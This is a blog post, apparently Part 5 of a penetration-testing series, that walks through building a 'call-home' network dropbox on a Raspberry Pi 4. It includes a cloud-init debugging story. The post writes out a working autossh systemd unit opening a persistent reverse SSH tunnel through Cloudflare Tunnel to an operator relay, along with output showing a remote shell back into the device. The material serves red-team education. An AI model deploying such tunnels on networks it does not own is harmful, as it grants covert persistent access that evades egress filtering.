Five Minutes and an Empty Port Part 5: Building a Real Call-Home Dropbox on a Raspberry Pi 4
Parts 2 through 4 covered the commercial and open-source tools in this space from documentation, GitHub source, and vendor material. This part is different: everything in it was built and tested live, on a Raspberry Pi 4 I already had sitting unused, with real command output rather than a description of expected behavior.
Scoping the build
The Pi 4’s USB-C port is power only. Unlike a Pi Zero, it has no USB gadget/OTG mode, so it can’t emulate a keyboard or a USB Ethernet adapter the way a Bash Bunny or LAN Turtle does over USB. What it can do is exactly what the LAN Turtle does over its own wired Ethernet interface: sit inline or connected to a network port, and call home to an operator over an outbound connection that most egress filtering never questions. That’s the build. A wired dropbox, not a USB HID clone, which is also the right split, since Part 3 already covered the HID side of this in detail.
The plan: a small relay host acting as the operator’s side of the connection, and the Pi maintaining a persistent reverse SSH tunnel to it, exactly the autossh call-home pattern described in Part 2 for the LAN Turtle, but built and proven rather than summarized.
Where the listener lives
A call-home dropbox needs somewhere to call home to: a host with a stable, reachable address. Rather than reaching for a cloud provider, the listener is a small VM on my own existing Proxmox host, reached through a Cloudflare Tunnel rather than any port forwarded on a home router. Readers of the Proxmox qm CLI VM Build series will recognize the build mechanics here; this part focuses on what was new.
A cloud-init gotcha that took three rebuilds to find
Building the relay VM surfaced a genuine, reproducible bug hunt. The VM came up cleanly each time, with cloud-init correctly setting the hostname and SSH reachable within about ten seconds of boot, but every SSH login attempt failed with Permission denied (publickey), using a key confirmed correct in the VM’s own stored configuration.
Three explanations were tested in order. First, that the custom account name collided with a reserved system account, ruled out by testing the image’s own default username with the same result. Second, that Proxmox’s --ciuser/--sshkeys flags generate a deprecated cloud-init syntax (user: <name> rather than the modern users: list), a real deprecation warning that did show up in the boot log but turned out to be unrelated to the failure. The actual cause was simpler and more interesting: the VM’s cloud-init configuration had package_upgrade: true set, which runs a full apt upgrade during the boot’s modules:final stage before the account-creation and SSH-key-authorization step runs. sshd itself starts independently and early, around ten seconds into boot, alongside a normal getty login prompt. Every failed login attempt had happened in that window, SSH reachable, login prompt visible, target account genuinely not created yet.
Watching a full boot on the console confirmed it directly. The account and key only appeared in the log at the very end of the process:
ci-info: +++++++++++++++++++++++++++++++Authorized keys from /home/handler/.ssh/authorized_keys for user handler+++++++++++++++++++++++++++++++
...
Cloud-init v. 25.1.4 finished at Mon, 17 Aug 2026 17:31:36 +0000. Datasource DataSourceNoCloud [seed=/dev/sr0]. Up 56.73 seconds
Nearly a full minute after boot, on a box that had been answering SSH connections and showing a login prompt since second ten. The lesson: a reachable login prompt on a cloud-init image is not proof that cloud-init has finished, and package_upgrade: true specifically pushes account creation to the very end of that process rather than the beginning.
Setting up the call-home path
The relay VM doesn’t expose SSH to the internet directly. It runs cloudflared as a Cloudflare Tunnel connector, with a public hostname mapped to ssh://localhost:22 through the tunnel’s dashboard-managed ingress rules rather than a locally edited config file, since this was a token-based install rather than a CLI-authenticated one. Cloudflare’s free tier doesn’t forward raw TCP to the public internet, that’s a paid Spectrum feature, so anything connecting in has to go through cloudflared access ssh as a local proxy instead of a plain socket connection. That meant installing cloudflared on the Pi as well, and pointing its SSH client config at the tunnel through a ProxyCommand:
Host mothership-relay
HostName gonnacallhome.example
User handler
IdentityFile ~/.ssh/pi-callback
ProxyCommand cloudflared access ssh --hostname %h
Two separate keypairs were generated for this, one for the Pi’s own identity calling in and one for the relay’s identity reaching back, each added only to the account they authenticate to, and each independently revocable without touching the other.
The persistent tunnel itself is autossh wrapped in a systemd unit rather than a bare ssh -R in a terminal, so it reconnects on its own if the network drops:
ExecStart=/usr/bin/autossh -M 0 -N -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -R 2222:localhost:22 mothership-relay
Restart=always
RestartSec=10
Proving it end to end
With the tunnel service running, the relay’s forwarded port confirmed the Pi’s reverse connection was live:
$ ss -tlnp | grep 2222
LISTEN 0 128 127.0.0.1:2222 0.0.0.0:*
LISTEN 0 128 [::1]:2222 [::]:*
And from the relay, using the second keypair, reaching straight back into the Pi through that forwarded port rather than the LAN:
$ ssh -i ~/.ssh/callback-access -p 2222 notadongle@localhost
Linux dropbox-pi 6.18.39+rpt-rpi-v8 ...
notadongle@dropbox-pi:~ $
The full path: Pi, over its own network egress, through cloudflared, across Cloudflare’s edge, onto the relay, back down a forwarded port, and onto the Pi again. Nothing in that chain depends on the Pi ever accepting an inbound connection, which is the entire point of a call-home design over a listen-and-wait one.
The last thing worth testing rather than assuming: whether the persistence claim actually holds. A reboot of the Pi confirmed it does, with a real gap captured rather than an assumed one:
$ ss -tlnp | grep 2222
(nothing)
$ ss -tlnp | grep 2222
LISTEN 0 128 127.0.0.1:2222 0.0.0.0:*
LISTEN 0 128 [::1]:2222 [::]:*
Empty immediately after the reboot, back on its own by the next check, with no manual intervention. That’s Restart=always and autossh’s own keepalive logic doing exactly what they’re supposed to.
What this actually demonstrates
None of this required anything the LAN Turtle doesn’t already do out of the box. The point wasn’t to reinvent it, it was to confirm the underlying mechanism actually holds up under a real build rather than taking a product page’s description on faith, and to surface a genuine, reproducible gotcha along the way in the process. Part 6 chains a selection of everything covered in Parts 2 through 5 into a single attack narrative before the series turns fully to defense.